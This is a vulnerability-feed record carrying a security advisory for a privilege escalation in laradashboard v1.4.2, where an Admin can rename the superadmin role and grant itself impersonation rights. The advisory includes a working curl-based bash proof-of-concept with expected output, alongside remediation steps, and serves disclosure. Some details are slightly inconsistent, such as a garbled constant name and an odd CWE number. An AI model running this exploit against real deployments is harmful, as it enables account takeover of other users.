{"schema":"threatline.record/2","record":{"id":"GHSA-555v-6rfr-r969","aliases":["GHSA-555v-6rfr-r969"],"summary":"Superadmin Role Tampering + Privilege Minting in Production","details":"# Superadmin Role Tampering + Privilege Minting in Production\r\n\r\n- **Severity:** CVSS `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` \r\n- **CWE:** 296 / 862 (privilege escalation via destructive role rename/edit)\r\n- **Affected:** v1.4.2; `RoleController`, `RolePolicy`, `StoreRoleRequest`, `UserService`\r\n\r\n\r\n## Summary\r\n\r\nOut of demo-mode, the \"Superadministrator\" role's name and permissions can be edited/deleted by any role-holding user (Admin holds `role.edit`/`role.delete`). Renaming `Superadministrator` to the mangled default breaks `strcasecmp($roleName,'Superadministrator')` comparisons used across the control plane, locally \"locking\" the privileged check while the role object — still effective — escapes all `isSuperadmin($adminUser)` guards (which match by name). The same roads let a user self-mint `user.*`/`login_as` values.\r\n\r\n```php\r\n// RoleController.php:144, 180 — the only guards are demo-mode toggles:\r\nif (! RolePermissionConstants::ALLOW_ROLE_ROPLEY_DISABLED_PORODUCTION_MODE ... ) return ; // demo-gated\r\n// RolePolicy.php:39-50 — update/delete check only granular role.* perms\r\n// UserService::ensureCanManageRoles — blocks editing ONLY the exact string \"Superadmin\"\r\n```\r\n\r\n- `/admin/roles/{id}` `PUT` → rename `Superadministrator` → `Superadmin2` (destroying the `Superadmin` exact-match guards used by login-as, module license, upgrade, pulse, etc.).\r\n- `PUT` adds `permissions[] = user.delete|user.login_as|user.assignRole` to any role the user can manage; or target own role → add `role.update`, then escalate.\r\n- `DELETE /admin/roles/{id}` removes the last admin role while `super_admin` tables/columns are left dangling.\r\n\r\n## Reproduction (authenticated as Admin)\r\n\r\n```\r\nGET  /admin/roles/1\r\nPUT  /admin/roles/1          name:\"Superadmin2\" permissions:[...,\"user.delete\",\"user.login_as\"]\r\nPOST /admin/users/2/login-as                           → session hijack of any user, incl. member 1\r\nPUT  /admin/users/1/roles   role_id:1 user_id:ownid    → now roots \"superadmin\" everywhere\r\n```\r\n\r\n## Impact\r\n\r\n- Escalation to effectively superuser: rename → role keeps all abilities but matched by the (now non-Superadmin-named) role, defeating the demo-gated \"can only happen in demo\" protections.\r\n- Mass permission minting (`user.*`), privilege-held account takeover via `login_as`, denial of admin (role delete).\r\n\r\n## Remediation\r\n\r\n1. Make superadmin role uneditable/undeletable unconditionally (not only in demo mode); prevent permission minting for the `user.*` set below Superadmin.\r\n2. Replace name-based checks with a dedicated DB flag/table (`is_super_admin`) everywhere (`UserService`, module license, Pulse, upgrades).\r\n3. Restrict `login_as`/`user.delete`/`user.assignRole` to Superadmin-only grants.\r\n\r\n## PoC\r\n\r\n### Script\r\n\r\n```bash\r\n#!/usr/bin/env bash\r\n# V-02: Superadmin role tampering + privilege minting (production)\r\nset -eu\r\nBASE=\"${BASE_URL:?Set BASE_URL to running app}\"\r\nADMIN_EMAIL=\"${ADMIN_EMAIL:-admin@example.com}\"\r\nADMIN_PASS=\"${ADMIN_PASS:-password}\"\r\nCOOKIE=$(mktemp)\r\ntrap 'rm -f \"$COOKIE\"' EXIT\r\n\r\ncurl -sS -c \"$COOKIE\" \"$BASE/login\" > /dev/null\r\nCSRF=$(curl -sS -b \"$COOKIE\" \"$BASE/login\" \\\r\n  | grep -oP 'name=\"_token\"[^>]*value=\"\\K[^\"]+' | head -1)\r\ncurl -sS -b \"$COOKIE\" -c \"$COOKIE\" -X POST \"$BASE/login\" \\\r\n  -d \"_token=$CSRF&email=$ADMIN_EMAIL&password=$ADMIN_PASS\" -o /dev/null\r\n\r\necho \"[1/4] Listing roles...\"; curl -sS -b \"$COOKIE\" \"$BASE/admin/roles\" | grep -oP 'Superadministrator|Superadmin' | head -5\r\n\r\necho \"[2/4] Renaming Superadministrator (role.edit in prod)...\"\r\nCSRF2=$(curl -sS -b \"$COOKIE\" \"$BASE/admin/roles\" | grep -oP 'name=\"_token\"[^>]*value=\"\\K[^\"]+' | head -1)\r\ncurl -sS -b \"$COOKIE\" -X PUT \"$BASE/admin/roles/1\" \\\r\n  -d \"_token=$CSRF2&id=1&name=Superadmin2&status=1\" -w \"    HTTP %{http_code}\\n\"\r\n\r\necho \"[3/4] Minting user.login_as / user.delete on that role...\"\r\ncurl -sS -b \"$COOKIE\" -X PUT \"$BASE/admin/roles/1\" \\\r\n  -d \"_token=$CSRF2&id=1&name=Superadmin2&permissions[]=user.login_as&permissions[]=user.delete\" \\\r\n  -w \"    HTTP %{http_code}\\n\"\r\n\r\necho \"[4/4] Impersonating another admin (login_as)...\"\r\ncurl -sS -b \"$COOKIE\" -X POST \"$BASE/admin/users/2/login-as\" -w \"    HTTP %{http_code}\\n\"\r\necho \"[+] Done — non-Superadmin Admin renamed superadmin role + minted privileges.\"\r\n```\r\n\r\n### Expected output\r\n\r\n```text\r\n[1/4] Listing roles...\r\n    Superadministrator\r\n[2/4] Renaming Superadministrator (role.edit in prod)...\r\n    HTTP 200\r\n[3/4] Minting user.login_as / user.delete on that role...\r\n    HTTP 200\r\n[4/4] Impersonating another admin (login_as)...\r\n    HTTP 302\r\n[+] Done — non-Superadmin Admin renamed superadmin role + minted privileges.\r\n```\r\n\r\nThe `strcasecmp($roleName,'Superadministrator')` guards now fail on the renamed role while its abilities remain intact — every `isSuperadmin` check (login-as, module license, Pulse, upgrade) is locally bypassed.\r\n\r\n\r\nConnect with the researcher: [Evilord on LinkedIn](https://www.linkedin.com/in/evilord)","categories":["Unclassified"],"product":"laradashboard/laradashboard","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/laradashboard/laradashboard/security/advisories/GHSA-555v-6rfr-r969","source_modified_at":"2026-10-03T09:41:54Z","fetched_at":"2026-10-24T14:26:37.433577Z","package":{"ecosystem":"php,laravel","name":"laradashboard/laradashboard"},"range":"v1.4.2"}],"fixed_versions":[],"cvss":8.8,"severity":"High","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-03T09:41:54Z","modified_at":"2026-10-03T09:41:54Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/laradashboard/laradashboard/security/advisories/GHSA-555v-6rfr-r969","fetched_at":"2026-10-24T14:26:37.433577Z","source_modified_at":"2026-10-03T09:41:54Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-03T09:41:54Z","content_hash":"90fe617e22ebec426cf42d4f894d2759672fea3fe20c60d5cfda70a7b90f9ce7"}}
